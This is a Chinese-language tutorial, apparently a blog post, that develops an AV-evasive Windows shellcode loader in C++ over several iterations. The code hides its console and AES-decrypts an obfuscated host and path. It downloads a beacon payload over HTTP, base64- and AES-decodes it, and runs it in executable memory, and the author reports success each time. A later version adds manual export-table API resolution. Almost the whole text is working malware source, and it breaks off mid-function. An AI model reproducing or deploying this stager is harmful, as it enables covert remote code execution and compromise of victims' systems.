ConsoleApplication9.cpp
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main()
{
void* exec;
int payload_len = 280000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHixxxx=="; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
((void(*)())exec)();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
base64.cpp
#include"base64.h"
#include<assert.h>
#include<iostream>
const std::string ko::Base64::baseString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
std::string ko::Base64::encode(const std::string& s) {
unsigned char array3[3];
unsigned char array4[4];
unsigned group = s.length() / 3;
unsigned remain = s.length() - 3 * group;
int pos = 0;
std::string ret;
ret.reserve(4 * group + 4);
for (int g = 0; g < group; ++g) {
for (int i = 0; i < 3; ++i)array3[i] = s[pos++];
array4[0] = (array3[0] & 0xFC) >> 2;
array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
array4[3] = array3[2] & 0x3F;
for (int i = 0; i < 4; ++i)ret.push_back(baseString[array4[i]]);
}
if (remain > 0) {
for (int i = 0; i < remain; ++i)array3[i] = s[pos++];
for (int i = remain; i < 4; ++i)array3[i] = 0;
array4[0] = (array3[0] & 0xFC) >> 2;
array4[1] = ((array3[0] & 0x03) << 4) + ((array3[1] & 0xF0) >> 4);
array4[2] = ((array3[1] & 0x0F) << 2) + ((array3[2] & 0xC0) >> 6);
array4[3] = array3[2] & 0x3F;
for (int i = 0; i < remain + 1; ++i)ret.push_back(baseString[array4[i]]);
for (int i = remain + 1; i < 4; ++i)ret.push_back('=');
}
return ret;
}
std::string ko::Base64::decode(const std::string& s) {
unsigned char array3[3];
unsigned char array4[4];
unsigned group = s.length() / 4;
const unsigned remain = s.length() - 4 * group;
int pos = 0;
std::string ret;
ret.reserve(3 * group);
assert(remain == 0);
for (int g = 0; g < group; ++g) {
for (int i = 0; i < 4; ++i)array4[i] = baseString.find(s[pos++]);
array3[0] = (array4[0] << 2) + ((array4[1] & 0x30) >> 4);
array3[1] = ((array4[1] & 0xf) << 4) + ((array4[2] & 0x3c) >> 2);
array3[2] = ((array4[2] & 0x3) << 6) + array4[3];
if (array4[2] == 255)ret.push_back(array3[0]);
else if (array4[3] == 255) {
ret.push_back(array3[0]);
ret.push_back(array3[1]);
}
else {
ret.push_back(array3[0]);
ret.push_back(array3[1]);
ret.push_back(array3[2]);
}
}
return ret;
}
base64.h
#pragma once
#include<string>
namespace ko {
class Base64 {
private:
static const std::string baseString;
public:
static std::string encode(const std::string& s);
static std::string decode(const std::string& s);
};
}
AES.h
//AES.h
#ifndef _AES_H
#define _AES_H
#include <exception>
#include <cstring>
#include <string>
#define BLOCK_SIZE 16
using namespace std;
class AES
{
public:
enum
{
ECB = 0, CBC = 1, CFB = 2
};
private:
enum
{
DEFAULT_BLOCK_SIZE = 16
};
enum
{
MAX_BLOCK_SIZE = 32, MAX_ROUNDS = 14, MAX_KC = 8, MAX_BC = 8
};
public:
AES();
virtual ~AES();
private:
//Key Initialization Flag
bool m_bKeyInit;
//Encryption (m_Ke) round key
int m_Ke[MAX_ROUNDS + 1][MAX_BC];
//Decryption (m_Kd) round key
int m_Kd[MAX_ROUNDS + 1][MAX_BC];
//Key Length
int m_keylength;
//Block Size
int m_blockSize;
//Number of Rounds
int m_iROUNDS;
//Chain Block
char m_chain0[MAX_BLOCK_SIZE];
char m_chain[MAX_BLOCK_SIZE];
//Auxiliary private use buffers
int tk[MAX_KC];
int a[MAX_BC];
int t[MAX_BC];
private:
void Xor(char* buff, char const* chain);
void DefEncryptBlock(char const* in, char* result);
void DefDecryptBlock(char const* in, char* result);
void EncryptBlock(char const* in, char* result);
void DecryptBlock(char const* in, char* result);
public:
void MakeKey(char const* key, char const* chain, int keylength =
DEFAULT_BLOCK_SIZE, int blockSize = DEFAULT_BLOCK_SIZE);
void Encrypt(char const* in, char* result, size_t n, int iMode = ECB);
void Decrypt(char const* in, char* result, size_t n, int iMode = ECB);
};
#endif // __RIJNDAEL_H__
AES.cpp
太大了就不放了
效果:
可以看到成功上线
到这里我们的url达到了一个方式,就是AES下载beacon811.bin文件成功,既然请求地址成功AES+base64编码解码且成功下载了了,那么这一功能完成了,
我们接下来写文件内容加密和解密,因为是二进制文件,那么第一步先给他在服务端base64加密了,然后再木马中再进行解密,我们先来把他用base64打印出来,发现控制台看不到,那么我们写到一个文件看看
增加如下代码
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
base64EncodedContent = ko::Base64::encode(base64EncodedContent);
//Save the Base64-encoded content to a file
std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();
注意用到outFile需要引入
#include <fstream>
可以看到成功写入,那么我们怎么确定写入的是否就是我们shellcode进行base64编码后的内容
那么我们解密触发看看是否上线
将写入文件的注释掉,增加两行代码
base64EncodedContent = ko::Base64::decode(base64EncodedContent);
((void(*)())exec)();
可以看到成功上线,nice
这一阶段的全部代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main()
{
void* exec;
int payload_len = 280000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
// Convert the vector to Base64-encoded string
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
base64EncodedContent = ko::Base64::encode(base64EncodedContent);
base64DecodedContent = ko::Base64::decode(base64EncodedContent);
((void(*)())exec)();
//Save the Base64-encoded content to a file
//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
//outFile << base64EncodedContent;
//outFile.close();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
那么我们确定内容没问题接下来再此base64EncodedContent上改造加解密就可以了,因为是字符串形式,而不是难搞的二进制
但是到这里我发现我傻了,这样和base64根本没有关系,因为我调用的exec指针执行,还是之前内存中的东西,而不是base64编码后的进入内存,
那么我继续修改,目的是让我们得到的base64DecodedContent进行内存加载
可以看到成功上线
这里给出全部代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void decode(string& c, int key[]) {
int len = c.size();
for (int i = 0; i < len; i++) {
c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
}
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int key[] = { 1,2,3,4,5,6,7 };
int main()
{
void* exec;
int payload_len = 280000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "uMF83pA41Vm/UzOtowpaCA=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
// Convert the vector to Base64-encoded string
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
std::string base64DecodedContent;
base64EncodedContent = ko::Base64::encode(base64EncodedContent);
base64DecodedContent = ko::Base64::decode(base64EncodedContent);
void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == nullptr) {
std::cerr << "Failed to allocate memory." << std::endl;
return 1;
}
// Copy decoded content to allocated memory
memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());
// Execute the allocated content
void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
shellcode();
// Free the allocated memory
VirtualFree(alloc, 0, MEM_RELEASE);
//((void(*)())exec)();
//Save the Base64-encoded content to a file
//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
//outFile << base64EncodedContent;
//outFile.close();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
那么我们直接来访问我们base64编译好的a.txt文件放到服务器上,远程加载试试
发现失败,我又进行了排查(通过写入文件数据是否一致进行排查)
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
std::string base64DecodedContent;
std::ofstream outFile("encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();
发现写出的文件0kb,我换成了123456编译后的base64,发现读取成功了,那么想到是长度影响的问题,那么我增大payload_len
,之前是280000,现在我改成500000
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void decode(string& c, int key[]) {
int len = c.size();
for (int i = 0; i < len; i++) {
c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
}
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int key[] = { 1,2,3,4,5,6,7 };
int main()
{
void* exec;
int payload_len = 500000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "lTbb3qMe8NsPKPjzTRaEzg=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
// Convert the vector to Base64-encoded string
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
std::string base64DecodedContent;
std::ofstream outFile("encoded_content.txt", std::ios::out);
outFile << base64EncodedContent;
outFile.close();
//base64EncodedContent = ko::Base64::encode(base64EncodedContent);
//base64DecodedContent = ko::Base64::decode(base64EncodedContent);
//void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//if (alloc == nullptr) {
// std::cerr << "Failed to allocate memory." << std::endl;
// return 1;
//}
Copy decoded content to allocated memory
//memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());
Execute the allocated content
//void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
//shellcode();
Free the allocated memory
//VirtualFree(alloc, 0, MEM_RELEASE);
//((void(*)())exec)();
//Save the Base64-encoded content to a file
//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
//outFile << base64EncodedContent;
//outFile.close();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
可以看到成功写入,那么我们再来修改成之前的代码,继续运行,
成功了,一路踩坑,不过这下好了
全代码(注释自己手动去掉就好)
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void decode(string& c, int key[]) {
int len = c.size();
for (int i = 0; i < len; i++) {
c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
}
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int key[] = { 1,2,3,4,5,6,7 };
int main()
{
void* exec;
int payload_len = 500000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "lTbb3qMe8NsPKPjzTRaEzg=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
// Convert the vector to Base64-encoded string
std::string base64EncodedContent(reinterpret_cast<const char*>(exec), nread);
std::string base64DecodedContent;
//base64EncodedContent = ko::Base64::encode(base64EncodedContent);
base64DecodedContent = ko::Base64::decode(base64EncodedContent);
void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == nullptr) {
std::cerr << "Failed to allocate memory." << std::endl;
return 1;
}
// Copy decoded content to allocated memory
memcpy(alloc, base64DecodedContent.data(), base64DecodedContent.size());
// Execute the allocated content
void (*shellcode)() = reinterpret_cast<void(*)()>(alloc);
shellcode();
// Free the allocated memory
VirtualFree(alloc, 0, MEM_RELEASE);
//((void(*)())exec)();
//Save the Base64-encoded content to a file
//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
//outFile << base64EncodedContent;
//outFile.close();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
那么按照这个套路继续写以下几个算法
增加AES算法
目前顺序,服务端base64+AES算法生成的aesencode.txt文件,那么木马解密写成先解密AES再解密base64
可以看到成功上线
增加的代码如下
到这里就完成了我们的AES+base64+远程加载(请求的地址进行了AES加密)
base64加密使用到的python代码
AES加密使用到的项目
目前全代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HINTERNET(WINAPI* InternetOpenW_T)(
_In_opt_ LPCWSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_opt_ LPCWSTR lpszProxy,
_In_opt_ LPCWSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HINTERNET(WINAPI* InternetConnectW_T)(
_In_ HINTERNET hInternet,
_In_ LPCWSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_opt_ LPCWSTR lpszUserName,
_In_opt_ LPCWSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
_In_ HINTERNET hConnect,
_In_opt_ LPCWSTR lpszVerb,
_In_opt_ LPCWSTR lpszObjectName,
_In_opt_ LPCWSTR lpszVersion,
_In_opt_ LPCWSTR lpszReferrer,
_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
_In_ HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
typedef HINTERNET(WINAPI* InternetReadFile_T)(
_In_ HINTERNET hFile,
_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
// Get the address of the module's PE header
BYTE* pImageBase = (BYTE*)hModule;
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);
// Get the address of the export directory
IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);
DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
if (strcmp(lpProcName, pName) == 0) {
WORD ordinal = pAddressOfNameOrdinals[i];
DWORD functionRVA = pAddressOfFunctions[ordinal];
FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
return pFunction;
}
}
return NULL;
}
void decode(string& c, int key[]) {
int len = c.size();
for (int i = 0; i < len; i++) {
c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
}
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
